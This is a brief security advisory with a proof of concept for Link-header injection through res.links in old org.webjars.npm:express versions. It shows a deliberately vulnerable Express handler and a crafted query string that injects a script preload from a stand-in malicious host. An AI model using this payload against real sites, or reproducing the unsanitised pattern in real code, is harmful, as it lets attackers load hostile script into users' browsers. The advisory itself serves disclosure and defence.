Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting org.webjars.npm:express package, versions [,4.0.0-rc1)

org.webjars.npm:express is a WebJar for express.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links function. An attacker can inject arbitrary resources into the Link header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.

var express = require('express')
var app = express()

app.get('/', function (req, res) {
  res.links({"preload": req.query.resource});
  if(req.query.resource){
    console.log(res.getHeaders().link)
  }
  res.send('ok');
});
  
app.listen(3000);

// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';

const url = `http://localhost:3000/${maliciousQueryParam}`;
  
fetch(url);

• PoC
• Security Advisory